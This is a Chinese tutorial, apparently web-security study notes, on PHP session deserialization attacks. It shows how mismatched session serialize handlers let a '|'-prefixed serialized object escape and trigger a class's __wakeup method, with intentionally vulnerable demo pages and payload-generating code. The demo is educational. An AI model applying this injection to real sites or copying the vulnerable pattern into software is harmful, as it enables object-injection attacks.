PHP反序列化6(session反序列化)
考点6:session反序列化
<aside> 💡
session的一些基础知识
</aside>
Directive | 含义 |
---|---|
session.save_handler | session保存形式。默认为files |
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为p h p。 |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启 |
session的反序列化有三种处理引擎
处理器名称 | 存储格式 |
---|---|
p h p | 键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
p h p_binary | 键名的⻓度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
p h p_serialize | 经过serialize()函数序列化处理的数组 |
实例:(默认查看路径:/var/lib/p h p x/sess_xxxxxxxxxxxxx)
**php_serialize的数据
a:1:{s:4:"name";s:3:"Ten";}
//上面的a指的是数组
php的数据
name|s:3:"Ten";
php_binary的数据
a:1:{s:4:"name";s:15:"chickenmushroom";}**
<aside> 💡
这有什么问题?
PHP中的Session的实现是没有的问题,危害由于程序员的Session使用不当而引起的。
如:使用不同引擎来处理session文件。
php引擎的存储格式是键名 | serialized_string
,而php_serialize引擎的存储格式是serialized_string
。
如果程序使用两个引擎来分别处理的话就会出现问题。
</aside>
实例:创建一个会话
- 先以
php_serialize
的格式存储,从客户端接收参数并存入session
变量,接收页面 1. p hp
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name']=$_GET['a'];
var_dump($_SESSION);
?>
- 对输入值以及
session
变量就行处理,输出页面 2. p hp
<?php
ini_set("session.serialize_handler", "php");
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello".$this->name."!";
}
}
?>
攻击思路
1.首先访问1. p hp,在传入的参数前面加一个’|’ ,由于1. p hp使用的是p hp_serialize引擎,
因此会把’|’当作一个正常字符处理。
2.接着访问2. p hp,由于用的是p hp引擎,因此遇到’|’会当作分隔符(键名与键值之间的分隔符),
从而造成逃逸,直接对’|’后的值进行反序列化。
<aside> 💡
payload
</aside>
<?php
class student{
var $name;
var $age;
}
$o=new student();
$o->name="chickenmushroom";
$o->age="22";
$o='|'.serialize($o);
echo($o);
?>
|O:7:"student":2:{s:4:"name";s:15:"chickenmushroom";s:3:"age";s:2:"22";}
1.将payload传入1. p hp可以看到payload以及写入存储文件
2.访问2.p hp,可以看到我们希望的字符串已经成功触发student类的wake up方法,所以思路是可以行得通的。
<aside> 💡
扩展知识
</aside>
没有$_SESSION变量赋值
在PHP
中还存在一个upload_process
机制,即自动在$_SESSION
中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session
实时返回上传的进度。PHP: Session 上传进度 - Manual
这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST
一个与session.upload_process.name
的同名变量。后端会自动将POST
的这个同名变量作为键进行序列化然后存储到session
文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。
这里不展开试验了。详情参考https://www.jianshu.com/p/fba614737c3d